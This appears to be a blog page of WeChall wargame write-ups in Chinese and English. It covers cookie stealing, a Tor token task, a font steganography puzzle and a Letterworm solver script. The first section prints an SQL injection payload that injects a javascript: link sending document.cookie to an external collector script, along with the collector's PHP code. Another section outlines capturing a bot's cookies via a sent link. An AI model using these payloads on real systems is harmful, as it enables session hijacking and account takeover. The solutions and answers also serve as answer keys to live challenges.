You have read the protocols that if GLaDOS receives a new e-mail with an id in it, GLaDOS will visit the experience web application above, enter the id and click on the first link in order to gather information about the new experience subject.

Your mission is to send a special id to GLaDOS, in order to steal the cookie data. (*write Z a PM with the challenge title as subject)

Source Code Analysis

挑战提供两个 PHP 源码文件:

experience.php(主框架上的 Web 应用):

1
2
3
4
5
6
7
8
9
10
$id = $_GET['id'];
$id=str_replace('<','',$id);
$id=str_replace('>','',$id);
$id=str_replace(';','',$id);
$query= "SELECT * FROM experience WHERE id=".$id."";
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result);
$filename = str_replace('<','',$row['filename']);
$filename = str_replace('>','',$filename);
echo '<a href='.$filename.'>Click here to view the file.</a>';
  • id 参数无引号拼接 → SQL 注入
  • $filename 直接进入 <a href=$filename>XSS (href 注入)
  • 过滤:<, >, ; 被删除
  • magic_quotes_gpc 已关闭,引号可用

steal_cookie.php(测试服务器上的 cookie 收集器):

1
2
3
4
$cookie=$_GET['cookie'] . "\n";
$fh=fopen('evil.txt','ab');
fwrite($fh,$cookie);
fclose($fh);

表结构(论坛确认):experience 表有 2 列:id (int), filename (varchar(500))。

攻击链

  1. 构造 SQL 注入 payload,使用 UNION SELECT 控制 filename 字段
  2. filename 设为 javascript: 协议 URL,读取 document.cookie 并发送到 steal_cookie.php
  3. PM 给 Z,主题 "The Cookie is a lie",消息体为 SQLi payload
  4. GLaDOS bot 读取 PM → 访问 experience.php → 输入 ID → 点击第一个链接
  5. cookie 被发送到 http://test.cake/steal_cookie.php?cookie=...
  6. 从 evil.txt 读取 cookie → 提交解

Payload(2 列 UNION SELECT):

1
1 UNION SELECT 1,"javascript:document.location='http://test.cake/steal_cookie.php?cookie='+document.cookie"

阻塞原因

GLaDOS bot 已失效。和 Fix Us 同样的问题——Z 的自动化 bot 早在 2012 年就已停止运行。

解题历史佐证

查看 challenge solvers 页面,解题时间线如下:

  • 2008-09-20: Visualq, Z (首批)
  • 2008-09-20 ~ 2012-11-09: 陆续 71 人解出
  • 2012-11-09: 最后一人解出
  • 2012-11-09 ~ 至今 (13年+): 零人解题

参考

  • https://www.wechall.net/en/challenge/Z/cookie_is_a_lie/index.php
  • http://www.wechall.net/forum-t102/Challenge_The_Cookie_is_a_lie.html

Challenge

Fix Us (Exploit, PHP)

Your mission is now to maintain access to the solution boards for the Z challenges. Your plan is to gather information about the challenge solutions and gain more points on WeChall.net. Because Z is a naive, click-before-think guy, he clicks on every link you send him. Your plan is to send Z a malicious, but innocent looking link, and once he logs in WeChall, you will be able to login in the credentials of Z - and read the solution boards as well. Gizmore did a good job against XSS and CSRF, so you have to find another flaw to log in. After examining the WeChall source code, you found a hidden login page for the Z solution boards.

Analysis

攻击面

挑战提供三个入口: 1. login.php — 隐藏的 Z solution boards 登录表单(字段:zusername + zuserp) 2. forum.php — 秘密论坛,需要 Z 权限才能访问 3. "Send a link to Z" — 向 Z 发送恶意链接

登录验证使用 WeChall 主站数据库(论坛 hint 证实:"To use the login form, simply use your real wechall username/password."),所以 Z 的 fixus 密码就是他的 WeChall 密码。

攻击链(理论)

  1. 搭建一个 HTTP endpoint(VPS、Cloudflare Tunnel 等)
  2. 通过 "Send a link to Z" 给 Z 发送恶意链接
  3. Z 的 bot 点击链接,访问 endpoint
  4. 捕获 Z 的请求(HTTP headers、cookie、Authorization 等)
  5. 用 Z 的身份登录 fixus → 获取 secret forum 内容 → 拿到 flag

关键线索

论坛 hint 帖(forum-t223)给出以下信息: - "Check the Links, Tutorials..." — Z 在 tutorials 区发过一个链接,内容与本挑战相关 - "It's neither a bee nor a hornet" — 排除 BeEF(#58),不是 XSS 框架攻击 - "it might work with the data in URLs, but does not work sent in the http headers" — fixus 登录接受 GET 参数(原为 bug),但预期攻击方式是通过 HTTP headers - "The challenge might be currently a bit buggy" — 挑战可能有 bug,Z bot 可能不正常

阻塞原因

Z bot 不可用(疑似损坏)。用 Cloudflare Tunnel 建立了公开 HTTP endpoint,发送了多个不同格式的链接给 Z,没有任何请求到达。挑战论坛的最后一个 hint 帖(2015年)已指出挑战可能有 bug。

结论

挑战依赖 Z bot 的外部交互,该 bot 目前停用。留待 Z bot 修复后再尝试。

解题历史

查看 challenge solvers 页面,Fix Us 的解题时间线如下:

  • 2009-03-25: gizmore (创建者)
  • 2009-03-27 ~ 2012-03-25: 陆续 91 人解出
  • 2012-03-25: 最后一人解出
  • 2012-03-25 ~ 至今 (14年+): 零人解题

92 人的总解题数自 2012 年起从未增长。bot 早在 14 年前就已失效,挑战在当前状态下不可解。

参考

  • https://www.wechall.net/en/challenge/fixus/index.php
  • https://www.wechall.net/forum-t223/Just_a_hint.html

Challenge

WeChall 上的 Eigentor(Special, Tor),要求通过 Tor 访问 Edward Snowden Land(https://es-land.net),注册后在 Account Settings 的 TorChallenge 分类获取一次性 16 位 token,提交即完成。

WeChall 服务端验证方式:POST answer → 调用 https://es-land.net/torchallenge;trytoken.json?token=<answer>{"status":0} 无效 / {"status":1} 正确 / {"status":2} 已使用。

Solution

启动 Tor(系统 torrc 有 User 指令需 root,创建自定义配置):

1
2
3
4
5
6
7
cat > /tmp/torrc << 'EOF'
SocksPort 9050
DataDirectory /tmp/tor_data
Log notice file /tmp/tor_log
EOF
mkdir -p /tmp/tor_data
tor -f /tmp/torrc &

i manually sign up btw

登录 ESL(通过 SOCKS5 代理,cookie jar 绑定 session):

1
2
3
curl --socks5-hostname 127.0.0.1:9050 -c /tmp/esl.txt \
-d 'login=Return4837&password=<pw>&submit=Login' \
'https://es-land.net/login;form.html?_lang=en'

提取 token — account settings 页面的 eigentor 字段只有从 Tor exit node 访问时才被填充。非 Tor 访问时空值:

1
2
3
curl --socks5-hostname 127.0.0.1:9050 -b /tmp/esl.txt \
'https://es-land.net/account;allsettings.html?_lang=en' | \
grep -oP 'name="eigentor"[^>]*value="\K[^"]+'

返回 <TOKEN> — 16 位字母数字 token。

Challenge

Illuminati (Stegano) We found a document from the Illuminati, which is told to contain the hidden password to enter their vault. They are known to be masters of steganography, but maybe you can figure the password out for us. Good luck! gizmore

"A place to gather, a place to hide, should be well hidden and plain in sight. Where should you start how to begin, if nothings here except a thin phrase of text and random words, are you still lost does the brain hurts?"

Solution

挑战附带了一个自定义字体文件 sometimes.ttf 和 CSS 文件 some.css。CSS 中通过 5 个无效的 font-weight 声明拼出 wrong

sometimes.ttf 实际上是一个 SFD (SplineFont) 格式的字体文件,其中的句号字符(.)被修改了。

1
2
❯ file sometimes.ttf
sometimes.ttf: Spline Font Database version 3.0

解法步骤: 1. 下载 https://www.wechall.net/challenge/illuminati/sometimes.ttf 2. 用 FontForge 打开该字体文件 3. 查看 period/句号字符(U+002E) 4. 该 glyph 内部绘有密码文本 ILLUMOSATMO

ILLUMOSATMO

Challenge

WeChall 上的 Letterworm(Coding),Lettergrid 的变体。单词在网格中可以中途改变方向(Boggle-style zigzag),不再是直线扫描。限时 4.5 秒提交,答案按起点 (row, col) 排序,逗号分隔。最小长度 6 字符。

Solution

核心思路:Trie 剪枝的 DFS。流程:

  1. 73h_vordz.php 获取候选词表(97 个计算机/编程相关单词)
  2. generate.php 获取网格(iframe 内嵌,<pre> 标签包裹)
  3. 用词表构建 Trie
  4. 从每个格子出发 DFS 8 方向搜索,Trie 提前剪枝
  5. 去除真子串(如 "program" 存在时移除 "programs"... 此题其实不需要)
  6. 按起点 (row, col) 升序排列,逗号拼接提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
"""Letterworm solver — Trie + DFS, sub-4.5s"""
import requests, re, time
from urllib.parse import quote

BASE = "http://www.wechall.net/challenge/letterworm"
COOKIE = {"WC": "your_cookie"}
UA = "Mozilla/5.0 Chrome/131"

class TrieNode:
__slots__ = ('children', 'is_word')
def __init__(self):
self.children = {}
self.is_word = False

# 1. Fetch wordlist (cached per session)
t0 = time.time()
sess = requests.Session()
sess.headers.update({"User-Agent": UA})
sess.cookies.update(COOKIE)

r = sess.get(f"{BASE}/73h_vordz.php", timeout=5)
words = [w.strip().lower() for w in r.text.strip().split('\n') if w.strip()]
root = TrieNode()
for w in words:
node = root
for ch in w:
node = node.children.setdefault(ch, TrieNode())
node.is_word = True
print(f"Wordlist: {len(words)} words")

# 2. Fetch grid (starts the 4.5s timer!)
r = sess.get(f"{BASE}/generate.php", timeout=5)
m = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
grid = [l.strip().lower() for l in m.group(1).split('\n')
if l.strip() and all(c.isalpha() for c in l.strip())]
ROWS, COLS = len(grid), len(grid[0])
print(f"Grid: {ROWS}x{COLS}")

# 3. DFS search
DIRS = [(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
found = {} # word -> (r0, c0)

for r0 in range(ROWS):
for c0 in range(COLS):
ch = grid[r0][c0]
if ch not in root.children:
continue
stack = [(r0, c0, root.children[ch], frozenset([(r0, c0)]), ch)]
while stack:
cr, cc, node, vis, word = stack.pop()
if node.is_word and word not in found:
found[word] = (r0, c0)
for dr, dc in DIRS:
nr, nc = cr + dr, cc + dc
if 0 <= nr < ROWS and 0 <= nc < COLS and (nr, nc) not in vis:
nch = grid[nr][nc]
if nch in node.children:
stack.append((nr, nc, node.children[nch],
vis | frozenset([(nr, nc)]), word + nch))

print(f"Found: {len(found)} words in {time.time()-t0:.3f}s")

# 4. Sort and submit
answer = ','.join(sorted(found, key=lambda w: found[w]))
r = sess.get(f"{BASE}/index.php", params={"solution": answer, "submit": "Submit"})
print("Correct!" if "Correct after" in r.text else f"Failed: {r.text[:200]}")
  • 词表来源73h_vordz.php(= "the_words" leet),gitignored 但 live server 可访问。共 97 个计算机/编程单词,不是全量英语词典
  • 4.5 秒时限:从 generate.php 调用开始计时。本地 Trie 构建 + DFS 不到 10ms,瓶颈在网络延迟
password,program,partition,evaluate
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE